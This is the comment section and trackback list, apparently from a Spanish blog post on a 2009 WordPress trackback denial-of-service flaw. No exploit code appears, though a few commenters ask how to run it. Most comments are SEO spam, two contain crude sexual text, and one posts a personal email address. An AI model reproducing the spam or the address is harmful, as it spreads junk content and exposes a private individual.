  59. 68 STEFANIA_SCITTI mayo 23, 2010 en 12:27 am

    Hola, he creado una web con un tema de WordPress, sinceramente no tengo ni idea de nada de esto, he comenzado anoche, ahora iba a instalar un pluging de la pagina de wordpress y me da este error:

    Fatal error : no se puede redeclare _iscurlinstalled () (declarados anteriormente en / home2/stefanj5/public_html/wp-content/plugins/jr-sms/jr-sms.php: 40) en / home2/stefanj5/public_html/wp-content/themes / bueno / funciones / admin-functions.php on line1039

    Y no veo la web, no se como recuperar nada de nada :(

    El unico post que encuentro que se ve que es de alguien que sabe es el tuyo, si sabes como solucionarlo y me quieres explicar, por favor, contacta conmigo stefania_scitti_stardoll@hotmail.com

    Gracias, espero tu respuesta
    Saludos

  60. 69 kira marzo 10, 2011 en 5:39 pm

    oe! men una pregunta el mismo bug puede afectar a la version de wp 3.01 de ante mano los agradecimiento desde ya a las respuestas

  61. 70 Gay Live Sex abril 8, 2011 en 8:22 pm

    I can’t believe I actually was in love with this stupid ass son of a bitch.

  62. 71 livepimpin mayo 5, 2011 en 10:22 pm

    I wondered if Bev was letting Randy fuck her. I did know that I felt humiliated when the people in the office looked at me and I knew what they were thinking.

  63. 72 Ericxon - Mercadeo Multinivel octubre 28, 2011 en 5:41 pm

    Hola que tal, guaoo es la primera vez que consigo este blog y la información sobre seguridad de wordpress me dejo pasmado, de verdad mucghas gracias por aportar toda esta valiosa informacion a los que tenemos blogas en wordpress y si no me equivoco son millones las personas que los tienen, gracias.

  64. 73 luisomarfernandez octubre 31, 2011 en 1:34 pm

    Muchas gracias

  65. 74 fox diciembre 6, 2011 en 3:35 pm

    Una pregunta, yo tengo el archivo en php. Como ejecuto el xploit?

  66. 75 equipales de mexico marzo 9, 2012 en 2:23 pm

    gracias por todos sus aportes son geniales.

  67. 76 drkcc noviembre 21, 2012 en 1:17 pm

    no lo puedo ejecutar en la consola de comandos de Windows, como lo hago? :S

  68. 77 Jefferey diciembre 10, 2012 en 2:56 am

    I’m not sure where you’re getting your info, but
    great topic. I needs to spend some time learning much more or understanding more.
    Thanks for wonderful information I was looking for this information for my mission.

  69. 78 Colleges with online Courses marzo 31, 2013 en 3:03 pm

    Heya this is somewhat of off topic but I was
    wondering if blogs use WYSIWYG editors or if you have to manually code with HTML.

    I’m starting a blog soon but have no coding skills so I wanted to get guidance from someone with experience. Any help would be greatly appreciated!

  70. 79 internet abril 14, 2013 en 7:47 am

    My spouse and I stumbled over here coming from a different
    web page and thought I might check things out.
    I like what I see so i am just following you. Look forward to exploring your web page again.

  71. 80 http://themebazaar.net/ abril 25, 2013 en 3:05 am

    Thank you for sharing your info. I truly appreciate your efforts
    and I will be waiting for your further write ups thank you once again.

  72. 81 Holly mayo 12, 2013 en 11:05 am

    you’re in reality a just right webmaster. The site loading velocity is incredible. It seems that you’re doing any unique trick.
    Also, The contents are masterwork. you’ve done a great process on this topic!

  73. 82 Annie mayo 20, 2013 en 1:40 pm

    You’ve very good information in this case.

  74. 83 how to stop smoking mayo 25, 2013 en 4:39 pm

    You actually make it seem so easy with your presentation but
    I find this matter to be really something which I think I would
    never understand. It seems too complicated and extremely broad for me.
    I’m looking forward for your next post, I’ll try to get
    the hang of it!

  75. 84 pisanie tekstow seo junio 12, 2013 en 1:26 am

    These are really great ideas in concerning blogging.
    You have touched some pleasant factors here. Any way keep up wrinting.

  76. 85 http://hbskmedia.com junio 26, 2013 en 10:01 pm

    great points altogether, you simply received a new reader.
    What would you suggest in regards to your put up that you made a
    few days in the past? Any sure?

  77. 86 Gustavo junio 27, 2013 en 7:53 am

    Thanks for any other magnificent post. Where else may just anybody
    get that type of information in such an
    ideal method of writing? I’ve a presentation subsequent week, and I’m on the look for such info.


  1. 1 Falla de seguridad en Wordpress - Software libre, tecnología y mas Trackback en octubre 17, 2009 en 9:10 pm
  2. 2 Error de seguridad en wordpress permite tirar servidores en apenas 5 minutos (meneame) | BlogUniverso Trackback en octubre 18, 2009 en 1:15 am
  3. 3 Nuevo Bug grave en Wordpress Trackback en octubre 18, 2009 en 5:57 am
  4. 4 Agujero de seguridad muy grave en WordPress « Desvaríos informáticos « El camello, el Leon y el niño. O la evolución del perro al lobo Trackback en octubre 18, 2009 en 1:17 pm
  5. 5 DoS en wordpress | El rincón de Zerial Trackback en octubre 18, 2009 en 1:51 pm
  6. 6 DaboBlog - Por David Hernández (Dabo), Cibercultura | GNU/Linux | Mac OS X | Opinión | Trackback en octubre 18, 2009 en 3:57 pm
  7. 7 Daboweb - Seguridad informatica | Tutoriales | Manuales | Noticias | Foros | Windows | Mac OS X | GNU/Linux | Trackback en octubre 18, 2009 en 4:30 pm
  8. 8 Wordpress vulnerable a denegación de servicio (DoS) Trackback en octubre 18, 2009 en 6:10 pm
  9. 9 zerialkiller » Nuevo Bug grave en Wordpress Trackback en octubre 18, 2009 en 6:14 pm
  10. 10 Grave vulnerabilidad en WordPress | Ayuda WordPress Trackback en octubre 19, 2009 en 1:26 am
  11. 11 » Solución a vulnerabilidad de WordPress | Informática Práctica | Trackback en octubre 19, 2009 en 1:27 am
  12. 12 Atencin! BUG Wordpress - La Comunidad DragonJAR Trackback en octubre 19, 2009 en 2:18 am
  13. 13 Otro blog » Vulnerabilidad Wordpress 2.8.x Trackback en octubre 19, 2009 en 3:34 am
  14. 14 ELEKTRO :: Internet :: Wordpress: Trackback es Vulnerable Trackback en octubre 19, 2009 en 4:06 am
  15. 15 Error de seguridad en Wordpress Trackback en octubre 19, 2009 en 8:43 am
  16. 16 Grave problema de seguridad que afecta a TODAS las versiones de Wordpress | Tracker IslaServer Trackback en octubre 19, 2009 en 9:17 am
  17. 17 Vulnerabilitat greu! | Recursos WordPress Trackback en octubre 19, 2009 en 9:56 am
  18. 18 Grave bug scoperto su Wordpress, vediamo come correggerlo « valkiro Trackback en octubre 19, 2009 en 12:35 pm
  19. 19 Grave vulnerabilidad en WordPress | Guia WordPress Trackback en octubre 19, 2009 en 1:39 pm
  20. 20 Grave vulnerabilidad en Wordpress | Codigo Geek Trackback en octubre 19, 2009 en 3:13 pm
  21. 21 Ataque DDoS a Wordpress (Vulnerabilidad) | MundoTech.net Trackback en octubre 19, 2009 en 5:34 pm
  22. 22 Fallo de seguridad en WordPress permitiría hacer un ataque DoS Trackback en octubre 19, 2009 en 7:17 pm
  23. 23 Denegacion de Servicio en WordPress | La Comunidad DragonJAR Trackback en octubre 19, 2009 en 8:47 pm
  24. 24 Grave bug en WordPress que puede tirar nuestro servidor Trackback en octubre 19, 2009 en 9:59 pm
  25. 25 Agujero de seguridad grave en WordPress « REDES Asycom Trackback en octubre 19, 2009 en 10:21 pm
  26. 26 Poti poti de notícies de seguretat « CODI Ç Trackback en octubre 20, 2009 en 12:14 am
  27. 27 El CoDiGo K » Ups! Nuevo fallo en WordPress Trackback en octubre 20, 2009 en 11:22 am
  28. 28 ElPlog.com – V4.0 » Fallo de seguridad en Wordpress Trackback en octubre 20, 2009 en 2:15 pm
  29. 29 Actualizacin a WordPress 2.8.5 Trackback en octubre 21, 2009 en 3:30 am
  30. 30 Teknologeek.com » Todas las Versiones de Wordpress son Vulnerables a un Error que Deja el Servidor Caído en 5 Minutos. Trackback en octubre 21, 2009 en 5:58 am
  31. 31 WordPress 2.8.5, actualització de seguretat | Recursos WordPress Trackback en octubre 21, 2009 en 9:52 am
  32. 32 Dedos de Silicio, Píxeles de Papel » WordPress 2.8.5 Trackback en octubre 21, 2009 en 10:34 am
  33. 33 portotorres.net » Grave vulnerabilità in WordPress 2.8.4 | Made in Sardinia Trackback en octubre 21, 2009 en 1:45 pm
  34. 34 Actualizá a WordPress 2.8.5 para evitar falla de seguridad en trackbacks | Summarg Trackback en octubre 21, 2009 en 4:10 pm
  35. 35 Wordpress 2.8.5, actualización de seguridad | Hardsoft Geek Trackback en octubre 21, 2009 en 4:50 pm
  36. 36 Javier Llorente » Blog Archive » Actualización de seguridad Wordpress 2.8.5 Trackback en octubre 22, 2009 en 12:27 am
  37. 37 Web pages: Критическая уязвимость в WordPress Trackback en octubre 22, 2009 en 9:45 am
  38. 38 Web-Seiten: Kritische Verwundbarkeit in WordPress Trackback en octubre 22, 2009 en 10:38 am
  39. 39 Best web apps: Critical vulnerability in WordPress Trackback en octubre 22, 2009 en 11:31 am
  40. 40 Pages web: Une vulnérabilité critique dans WordPress Trackback en octubre 22, 2009 en 11:31 am
  41. 41 Recopilación de cosas importantísimas sobre Wordpress Trackback en octubre 22, 2009 en 11:48 am
  42. 42 TMA WebSolutions Blog! » Blog Archive » Wordpress 2.8.5 Trackback en octubre 23, 2009 en 3:59 am
  43. 43 Wordpress Trackback DoS Zafiyeti | Syslogs Trackback en octubre 23, 2009 en 5:39 am
  44. 44 Wordpress Trackback Denial of Service - Tux-planet Trackback en octubre 23, 2009 en 9:01 am
  45. 45 Atenció usuaris de WordPress 2.8.4! | terra meddia Trackback en octubre 23, 2009 en 10:16 am
  46. 46 Wordpress 2.8.5, actualización de seguridad | FusionGT V2.0 Trackback en octubre 25, 2009 en 1:25 pm
  47. 47 Wordpress | domiblog. El blog de Domitienda Trackback en octubre 27, 2009 en 4:58 pm
  48. 48 Denegación de servicio en WordPress « El dia a dia … Trackback en octubre 27, 2009 en 5:28 pm
  49. 49 Denegación de servicio en WordPress | El mundo de IMD Trackback en octubre 27, 2009 en 5:59 pm
  50. 50 Denegación de Servicio en Wordpress | Omeyas Web Trackback en octubre 28, 2009 en 7:28 am
  51. 51 JaCkNews » Blog Archive » Agujero de seguridad muy grave en WordPress Trackback en octubre 29, 2009 en 8:13 pm
  52. 52 WordPress: herramienta para manejo de contenidos y blogs Trackback en noviembre 2, 2009 en 11:47 pm
  53. 53 WordPress ‘wp-trackbacks.php’ Multi-byte Encodincg Detection Lets Remote Users Execute Arbitrary Code – Wordpress wp-trackback.php DoS Zafiyeti - Ömer Ersöz Trackback en noviembre 9, 2009 en 12:30 pm
  54. 54 Wordpress واختبار لآخر الثغرات | Sophto's BloGy Trackback en noviembre 15, 2009 en 3:30 pm
  55. 55 Vulnerabilidad grave de Wordpress que satura el servidor | Otro Blog Más Trackback en enero 10, 2010 en 12:03 am
  56. 56 Wordpress wp-trackback.php DoS Zafiyeti | Tickhi.com Trackback en mayo 7, 2010 en 9:51 pm
  57. 57 Agujero de seguridad muy grave en WordPress Trackback en diciembre 27, 2010 en 4:24 pm
  58. 58 Zona Bloguismo (24-30 de Octubre) | Bloguismo Trackback en febrero 28, 2011 en 8:23 am
  59. 59 Wordpress 2.8.5, actualización de seguridad | TecnoApps.net Trackback en febrero 12, 2012 en 12:32 am
  60. 60 Servicios Web Gratis » Recopilacion de enlaces WordPress 1 Trackback en julio 26, 2012 en 8:50 pm
  61. 61 ¿Por qué NO hacer un blog con WordPress? | spectrum Trackback en mayo 22, 2013 en 12:13 pm
  62. 62 Dota v6.78c download Trackback en julio 11, 2013 en 7:10 pm
  63. 63 moreÂ… Trackback en mayo 20, 2014 en 10:09 am

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s





Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

%d personas les gusta esto: